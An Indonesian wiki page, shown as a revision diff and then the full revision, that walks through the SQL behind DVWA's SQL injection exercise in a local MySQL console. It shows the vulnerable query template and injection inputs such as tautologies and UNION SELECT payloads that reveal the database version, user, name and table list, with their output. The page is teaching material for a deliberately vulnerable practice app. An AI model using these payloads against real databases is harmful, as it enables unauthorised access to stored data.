DVWA: perintah SQL di server DVWA: Difference between revisions
Onnowpurbo (talk | contribs) No edit summary |
Onnowpurbo (talk | contribs) No edit summary |
||
| Line 37: | Line 37: | ||
Perintah yang diberikan di menu SQL Injection DVWA sebetulnya adalah | Perintah yang diberikan di menu SQL Injection DVWA sebetulnya adalah | ||
SELECT first_name, last_name FROM users WHERE user_ID = '$id' | SELECT first_name, last_name FROM users WHERE user_ID = '$id'; | ||
Dimana '$id' adalah input parameter yang diberikan oleh user. Kita bisa bermain-main | Dimana '$id' adalah input parameter yang diberikan oleh user. Kita bisa bermain-main | ||
dengan ini di console mysql. Setelah kita 'use dvwa' maka kita bisa bermain-main | dengan ini di console mysql. Setelah kita 'use dvwa' maka kita bisa bermain-main | ||
dengan MySQL secara manual tanpa melakukan injection. | dengan MySQL secara manual tanpa melakukan injection. | ||
Masukan perintah | |||
SELECT first_name, last_name FROM users WHERE user_ID = '1'; | |||
Keluar | |||
+------------+-----------+ | |||
| first_name | last_name | | |||
+------------+-----------+ | |||
| admin | admin | | |||
+------------+-----------+ | |||
1 row in set (0,00 sec) | |||
Masukan perintah | |||
SELECT first_name, last_name FROM users WHERE user_ID = '2'; | |||
Keluar | |||
+------------+-----------+ | |||
| first_name | last_name | | |||
+------------+-----------+ | |||
| Gordon | Brown | | |||
+------------+-----------+ | |||
1 row in set (0,00 sec) | |||
Masukan perintah, untuk mencek apakah bisa di inject perintah lain | |||
SELECT first_name, last_name FROM users WHERE user_id = '%' or '0'='0'; | |||
Keluar | |||
+------------+-----------+ | |||
| first_name | last_name | | |||
+------------+-----------+ | |||
| admin | admin | | |||
| Gordon | Brown | | |||
| Hack | Me | | |||
| Pablo | Picasso | | |||
| Bob | Smith | | |||
+------------+-----------+ | |||
5 rows in set (0,00 sec) | |||
Masukan perintah, untuk mencek apakah bisa di inject perintah lain | |||
SELECT first_name, last_name FROM users WHERE user_ID = '1' or '2'='2'; | |||
Keluar | |||
+------------+-----------+ | |||
| first_name | last_name | | |||
+------------+-----------+ | |||
| admin | admin | | |||
| Gordon | Brown | | |||
| Hack | Me | | |||
| Pablo | Picasso | | |||
| Bob | Smith | | |||
+------------+-----------+ | |||
5 rows in set (0,01 sec) | |||
Masukan perintah | |||
SELECT first_name, last_name FROM users WHERE user_id = '%' or 0=0 union select null, version() #; | |||
Keluar | |||
+------------+-------------------------+ | |||
| first_name | last_name | | |||
+------------+-------------------------+ | |||
| admin | admin | | |||
| Gordon | Brown | | |||
| Hack | Me | | |||
| Pablo | Picasso | | |||
| Bob | Smith | | |||
| NULL | 5.7.17-0ubuntu0.16.04.1 | | |||
+------------+-------------------------+ | |||
6 rows in set (0,00 sec) | |||
Akan keluar versi MySQL yang digunakan adalah 5.7.17-0ubuntu0.16.04.1 | |||
Masukan perintah, | |||
SELECT first_name, last_name FROM users WHERE user_id = '%' or 0=0 union select null, user() #'; | |||
Keluar | |||
+------------+----------------+ | |||
| first_name | last_name | | |||
+------------+----------------+ | |||
| admin | admin | | |||
| Gordon | Brown | | |||
| Hack | Me | | |||
| Pablo | Picasso | | |||
| Bob | Smith | | |||
| NULL | root@localhost | | |||
+------------+----------------+ | |||
6 rows in set (0,00 sec) | |||
akan keluar user yang digunakan untuk mengakses database, yaitu root@localhost | |||
Masukan perintah | |||
SELECT first_name, last_name FROM users WHERE user_id = '%' or 0=0 union select null, database() #'; | |||
Keluar | |||
+------------+-----------+ | |||
| first_name | last_name | | |||
+------------+-----------+ | |||
| admin | admin | | |||
| Gordon | Brown | | |||
| Hack | Me | | |||
| Pablo | Picasso | | |||
| Bob | Smith | | |||
| NULL | dvwa | | |||
+------------+-----------+ | |||
6 rows in set (0,00 sec) | |||
akan keluar nama database yang digunakan, yaitu dvwa | |||
Masukan perintah | |||
SELECT first_name, last_name FROM users WHERE user_id = '%' and 1=0 union select null, table_name from information_schema.tables #'; | |||
Keluar | |||
+------------+------------------------------------------------------+ | |||
| first_name | last_name | | |||
+------------+------------------------------------------------------+ | |||
| NULL | CHARACTER_SETS | | |||
| NULL | COLLATIONS | | |||
| NULL | COLLATION_CHARACTER_SET_APPLICABILITY | | |||
| NULL | COLUMNS | | |||
.. | |||
.. | |||
.. | |||
| NULL | x$wait_classes_global_by_avg_latency | | |||
| NULL | x$wait_classes_global_by_latency | | |||
| NULL | x$waits_by_host_by_latency | | |||
| NULL | x$waits_by_user_by_latency | | |||
| NULL | x$waits_global_by_latency | | |||
+------------+------------------------------------------------------+ | |||
275 rows in set (0,01 sec) | |||
Dimana | |||
* CHARACTER_SETS | |||
* COLLATIONS | |||
* COLLATION_CHARACTER_SET_APPLICABILITY | |||
adalah INFORMATION SCHEMA table name. | |||
INFORMATION_SCHEMA adalah database informasi, yang menyimpan semua informasi | |||
tentang database yang di maintain oleh MySQL. | |||
Revision as of 10:36, 11 March 2017
Pada saat kita berlatih SQL Injection menggunakan DVWA, akan lebih mudah untuk mengerti jika kita mengerti perintah SQL yang di berikan. Langkah untuk mempelajari ini tidak terlalu sulit
- Login ke mesin server yang kita instalasi DVWA
- menjadi super user, menggunakan perintah
sudo su
- Masuk ke database MySQL, jika password root mysql adalah 123456, maka kita dapat menggunakan perintah
mysql -u root -p123456
Jika berhasil dengan baik maka akan keluar
mysql: [Warning] Using a password on the command line interface can be insecure. Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 4 Server version: 5.7.17-0ubuntu0.16.04.1 (Ubuntu) Copyright (c) 2000, 2016, Oracle and/or its affiliates. All rights reserved. Oracle is a registered trademark of Oracle Corporation and/or its affiliates. Other names may be trademarks of their respective owners. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. mysql>
- Untuk berlatih kita perlu menggunakan database dvwa, ketik perintah
use dvwa
Kita sudah siap untuk belajar / memlihat apa yang terjadi jika kita latihan SQL Injection. Perintah yang diberikan di menu SQL Injection DVWA sebetulnya adalah
SELECT first_name, last_name FROM users WHERE user_ID = '$id';
Dimana '$id' adalah input parameter yang diberikan oleh user. Kita bisa bermain-main dengan ini di console mysql. Setelah kita 'use dvwa' maka kita bisa bermain-main dengan MySQL secara manual tanpa melakukan injection.
Masukan perintah
SELECT first_name, last_name FROM users WHERE user_ID = '1';
Keluar
+------------+-----------+ | first_name | last_name | +------------+-----------+ | admin | admin | +------------+-----------+ 1 row in set (0,00 sec)
Masukan perintah
SELECT first_name, last_name FROM users WHERE user_ID = '2';
Keluar
+------------+-----------+ | first_name | last_name | +------------+-----------+ | Gordon | Brown | +------------+-----------+ 1 row in set (0,00 sec)
Masukan perintah, untuk mencek apakah bisa di inject perintah lain
SELECT first_name, last_name FROM users WHERE user_id = '%' or '0'='0';
Keluar
+------------+-----------+ | first_name | last_name | +------------+-----------+ | admin | admin | | Gordon | Brown | | Hack | Me | | Pablo | Picasso | | Bob | Smith | +------------+-----------+ 5 rows in set (0,00 sec)
Masukan perintah, untuk mencek apakah bisa di inject perintah lain
SELECT first_name, last_name FROM users WHERE user_ID = '1' or '2'='2';
Keluar
+------------+-----------+ | first_name | last_name | +------------+-----------+ | admin | admin | | Gordon | Brown | | Hack | Me | | Pablo | Picasso | | Bob | Smith | +------------+-----------+ 5 rows in set (0,01 sec)
Masukan perintah
SELECT first_name, last_name FROM users WHERE user_id = '%' or 0=0 union select null, version() #;
Keluar
+------------+-------------------------+ | first_name | last_name | +------------+-------------------------+ | admin | admin | | Gordon | Brown | | Hack | Me | | Pablo | Picasso | | Bob | Smith | | NULL | 5.7.17-0ubuntu0.16.04.1 | +------------+-------------------------+ 6 rows in set (0,00 sec)
Akan keluar versi MySQL yang digunakan adalah 5.7.17-0ubuntu0.16.04.1
Masukan perintah,
SELECT first_name, last_name FROM users WHERE user_id = '%' or 0=0 union select null, user() #';
Keluar
+------------+----------------+ | first_name | last_name | +------------+----------------+ | admin | admin | | Gordon | Brown | | Hack | Me | | Pablo | Picasso | | Bob | Smith | | NULL | root@localhost | +------------+----------------+ 6 rows in set (0,00 sec)
akan keluar user yang digunakan untuk mengakses database, yaitu root@localhost
Masukan perintah
SELECT first_name, last_name FROM users WHERE user_id = '%' or 0=0 union select null, database() #';
Keluar
+------------+-----------+ | first_name | last_name | +------------+-----------+ | admin | admin | | Gordon | Brown | | Hack | Me | | Pablo | Picasso | | Bob | Smith | | NULL | dvwa | +------------+-----------+ 6 rows in set (0,00 sec)
akan keluar nama database yang digunakan, yaitu dvwa
Masukan perintah
SELECT first_name, last_name FROM users WHERE user_id = '%' and 1=0 union select null, table_name from information_schema.tables #';
Keluar
+------------+------------------------------------------------------+ | first_name | last_name | +------------+------------------------------------------------------+ | NULL | CHARACTER_SETS | | NULL | COLLATIONS | | NULL | COLLATION_CHARACTER_SET_APPLICABILITY | | NULL | COLUMNS | .. .. .. | NULL | x$wait_classes_global_by_avg_latency | | NULL | x$wait_classes_global_by_latency | | NULL | x$waits_by_host_by_latency | | NULL | x$waits_by_user_by_latency | | NULL | x$waits_global_by_latency | +------------+------------------------------------------------------+ 275 rows in set (0,01 sec)
Dimana
- CHARACTER_SETS
- COLLATIONS
- COLLATION_CHARACTER_SET_APPLICABILITY
adalah INFORMATION SCHEMA table name. INFORMATION_SCHEMA adalah database informasi, yang menyimpan semua informasi tentang database yang di maintain oleh MySQL.